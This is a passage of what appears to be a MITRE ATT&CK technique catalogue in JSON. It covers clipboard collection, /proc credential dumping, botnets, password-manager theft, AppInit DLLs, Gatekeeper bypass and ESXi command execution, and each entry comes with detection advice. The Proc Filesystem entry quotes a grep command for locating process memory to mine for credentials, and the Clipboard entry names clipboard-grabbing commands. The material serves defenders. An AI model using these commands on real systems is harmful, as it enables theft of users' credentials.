            "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "IaaS",
                "SaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Command: Command Execution",
                "File: File Access",
                "Script: Script Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "created": "2017-05-31T21:31:25.967Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1115",
                    "external_id": "T1115"
                },
                {
                    "source_name": "CISA_AA21_200B",
                    "description": "CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa21-200b"
                },
                {
                    "source_name": "mining_ruby_reversinglabs",
                    "description": "Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022.",
                    "url": "https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems"
                },
                {
                    "source_name": "clip_win_server",
                    "description": "Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022.",
                    "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip"
                },
                {
                    "source_name": "MSDN Clipboard",
                    "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms649012"
                },
                {
                    "source_name": "Operating with EmPyre",
                    "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.",
                    "url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T21:57:50.289Z",
            "name": "Clipboard Data",
            "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d",
            "created": "2020-02-11T18:46:24.434Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/007",
                    "external_id": "T1003.007"
                },
                {
                    "source_name": "atomic-red proc file system",
                    "description": "Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.",
                    "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"
                },
                {
                    "source_name": "baeldung Linux proc map 2022",
                    "description": "baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.",
                    "url": "https://www.baeldung.com/linux/proc-id-maps"
                },
                {
                    "source_name": "Polop Linux PrivEsc Gitbook",
                    "description": "Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.",
                    "url": "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem"
                },
                {
                    "source_name": "MimiPenguin GitHub May 2017",
                    "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
                    "url": "https://github.com/huntergregal/mimipenguin"
                },
                {
                    "source_name": "Picus Labs Proc cump 2022",
                    "description": "Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.",
                    "url": "https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:57:59.661Z",
            "name": "Proc Filesystem",
            "description": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process\u2019s virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as <code>grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1</code>, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.",
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                    "phase_name": "credential-access"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tim (Wadhwa-)Brown"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074",
            "created": "2020-10-01T00:49:05.467Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/005",
                    "external_id": "T1583.005"
                },
                {
                    "source_name": "Krebs-Booter",
                    "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/"
                },
                {
                    "source_name": "Krebs-Bazaar",
                    "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/"
                },
                {
                    "source_name": "Krebs-Anna",
                    "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/"
                },
                {
                    "source_name": "Imperva DDoS for Hire",
                    "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.",
                    "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
                },
                {
                    "source_name": "Norton Botnet",
                    "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.",
                    "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html"
                },
                {
                    "source_name": "ORB Mandiant",
                    "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-16T13:29:34.161Z",
            "name": "Botnet",
            "description": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. \n\nInternet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks \u2013 consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices \u2013 to serve as a botnet.(Citation: ORB Mandiant) \n\nWith a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) Acquired botnets may also be used to support Command and Control activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) network.\n\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
            "created": "2021-01-22T16:08:40.629Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/005",
                    "external_id": "T1555.005"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"
                },
                {
                    "source_name": "FoxIT Wocao December 2019",
                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
                    "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"
                },
                {
                    "source_name": "ise Password Manager February 2019",
                    "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.",
                    "url": "https://www.ise.io/casestudies/password-manager-hacking/"
                },
                {
                    "source_name": "Github KeeThief",
                    "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.",
                    "url": "https://github.com/GhostPack/KeeThief"
                },
                {
                    "source_name": "NVD CVE-2019-3610",
                    "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610"
                }
            ],
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            ],
            "modified": "2025-04-15T22:56:22.300Z",
            "name": "Password Managers",
            "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matt Burrough, @mattburrough, Microsoft"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Access",
                "Process: OS API Execution",
                "File: File Access",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
            "created": "2017-05-31T21:31:15.409Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1103",
                    "external_id": "T1103"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "AppInit Registry",
                    "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
                    "url": "https://support.microsoft.com/en-us/kb/197571"
                },
                {
                    "source_name": "AppInit Secure Boot",
                    "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
                    "url": "https://msdn.microsoft.com/en-us/library/dn280412"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:20.875Z",
            "name": "AppInit DLLs",
            "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
            "created": "2020-02-05T16:16:08.471Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/001",
                    "external_id": "T1553.001"
                },
                {
                    "source_name": "Application Bundle Manipulation Brandon Dalton",
                    "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.",
                    "url": "https://redcanary.com/blog/mac-application-bundles/"
                },
                {
                    "source_name": "theevilbit gatekeeper bypass 2021",
                    "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.",
                    "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/"
                },
                {
                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
                },
                {
                    "source_name": "TheEclecticLightCompany Quarantine and the flag",
                    "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.",
                    "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/"
                },
                {
                    "source_name": "TheEclecticLightCompany apple notarization ",
                    "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.",
                    "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:16.087Z",
            "name": "Gatekeeper Bypass",
            "description": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Brandon Dalton @PartyD0lphin",
                "Swasti Bhushan Deb, IBM India Pvt. Ltd."
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "The removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the <code>com.apple.quarantine</code> flag when performing updates. \n\nReview <code>false</code> values under the <code>LSFileQuarantineEnabled</code> entry in an application's <code>Info.plist</code> file (required by every application). <code>false</code> under <code>LSFileQuarantineEnabled</code> indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified <code>LSFileQuarantineEnabled</code> entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the <code>com.apple.quarantine</code> attribute, located at <code>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2</code>. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Metadata",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--31e5011f-090e-45be-9bb6-17a1c5e8219b",
            "created": "2025-03-28T14:01:52.810Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1675",
                    "external_id": "T1675"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
                    "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
                },
                {
                    "source_name": "Broadcom Running Guest OS Operations",
                    "description": "Broadcom. (n.d.). Running Guest OS Operations. Retrieved March 28, 2025.",
                    "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere-sdks-tools/8-0/web-services-sdk-programming-guide/virtual-machine-guest-operations/running-guest-os-operations.html"
                },
                {
                    "source_name": "Broadcom VMware Tools Services",
                    "description": "Broadcom. (n.d.). VMware Tools Services. Retrieved March 28, 2025.",
                    "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/tools/12-4-0/vmware-tools-administration-12-4-0/introduction-to-vmware-tools/vmware-tools-service.html"
                }
            ],
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            ],
            "modified": "2025-04-16T14:57:47.078Z",
            "name": "ESXi Administration Command",
            "description": "Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux.(Citation: Broadcom VMware Tools Services) \n\nAdversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs \u2013 for example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`,  `ListFileInGuest`, and `InitiateFileTransferFromGuest`.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Broadcom Running Guest OS Operations) This may enable follow-on behaviors on the guest VMs, such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083), [Data from Local System](https://attack.mitre.org/techniques/T1005), or [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
            ],
            "x_mitre_remote_support": false
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
            "created": "2021-03-17T20:33:20.127Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608/004",
                    "external_id": "T1608.004"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
                }
            ],
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            "modified": "2025-04-15T22:24:03.854Z",
            "name": "Drive-by Target",
